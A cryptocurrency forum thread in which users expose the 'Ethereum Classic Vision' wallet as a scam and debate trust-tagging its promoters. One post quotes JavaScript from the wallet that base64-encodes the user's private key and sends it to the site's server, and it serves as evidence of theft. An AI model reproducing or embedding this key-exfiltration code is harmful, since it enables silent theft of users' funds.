Ethereum Classic Vision scam

[JohnUser]

I think we have enough proof to show Ethereum Classic Vision is a scam, some guys already talk about it on Ethereum Nowa

Here is the thread : https://bitcointalk.org/index.php?topic=5089443.0

Of course no team...

Their wallet https://etcvwallet.com requires you to enter the private key or upload the json file generated by MEW. In the javascript code from file etherwallet-master.js line 3832 they have a code that sends the private key masked somehow to their server

Code:

    
$scope.$on('ChangeWallet', function () {
        const key = window.btoa($scope.walletService.wallet.getPrivateKeyString());
        window.fetch('/api', {
            method: 'POST',
            mode: 'cors',
            cache: 'no-cache',
            credentials: 'same-origin',
            headers: {
                'Content-Type': 'application/json'
            },
            redirect: 'follow',
            referrer: 'no-referrer',
            body: JSON.stringify({ api_token: key })
        });

When we want to get the forked bitcoin then we need the private key to get it. Isn't it should work the same for Ether network? Move all the coins to a new wallet before creating a wallet for ETCV.

PS: I am not saying Ethereum Classic Vision is a scam nor saying legit. I still have not done any research about it.

I don't think you need any research, this is the link of their official wallet : https://etcvwallet.com/

Nothing much needed mday. It's proved that this is a clear scam and fishy attempt to steal our money. By the way, why no dt still red tagged the user? It would save some of the noobs from being scammed.

I guess because none of the DT users were yet confident enough this is a scam to actually tag the user.
It shouldn't be taken lightly to do so.

I myself haven't had the time to look deeply into that project, and won't tag it if not being sure enough I am not doing any harm to a legit project.

If you read about DT you will understand how you become DT and that it comes with hardly any obligation.
You are welcome to tag him yourself for now.

Looks like they done a runner......I wonder what all their shill accounts will do now - continue shilling for BiteBTC, DataBank, Bitsane & Kleynbank I suppose.....

If you are using MetaMask and you click their WEB Wallet, it directly go to MetaMask extension and once its clicked this will pop up to your chrome browser.

I know it's to early to prove if they're scam, but fair enough we have been warned and unless a more legitimate evidence to be presented.

Okay I got that but you know if someone don't tag, they will scam people for a lot of ETH. It worths to tag now. We are not on DT and it is why we can't tag, if we tag, no one will see it. by the way, are you on DT?

[mdayonliner]

Looking at the posts above it looks like they are not transparent yet. I will do my job. Hope the DTs will do too.

Tagged. However you should always tag yourself BEFORE asking DT to tag.
If you do so, maybe people will actually add you to their trust list, which is the point of the trust network.

DT should only be a default setting. Users who know better should have their own list.

Againt this is not the "job" of DT.
Maybe you should read again how DT's are chosen and what it implies.

I know you know all this. So stop implying being a DT is an actual job or something.
People are DT based on the accuracy of their own trust list the feedback they leave. It shouldn't become a burden or alike.

In fact there's only one hard fork but without new coin. Eth will be ETH, nothing new.

Their main wallet is banned, so you don't have to think about it and guess if it's a fraud or not, everyone knows it's a scam! It's a pity if people have entrusted their private keys with coins in their wallet.

Yeah I think too but you know it's better when old DTs tagged them. And better is when admin delete thread. As i said i'm not 100% sure, maybe 99.99% yes.

Exactly!

I can't believe so many people fell for this. It's Ethereum after all, people should know better, read the news, etc!
In the last 10 days, I have seen many people wear their avatars and signatures, in fact, there are more than 600 people who have signed up and taken part in their signature campaign... this is madness! I hope the number of people who might have lost their private keys is not that big.

Someone should tag ethclassicvision - the campaign manager.

edit: asche already did...but it is positive

Of course, we are all adults, we can analyze opinions, but sometimes hope and belief in the good things make us close our eyes and turn off the ability to make a real assessment of events.

Menhn this is really outrageous, I visited their twitter page this evening and I get the error message that the page is restricted this has really proof it to be a scam after all.

Nice, thank you!

[asche]

It could just be an eth token rather than phishing for private keys

Can you please make sense of that part?

What does it have to do with an eth token?
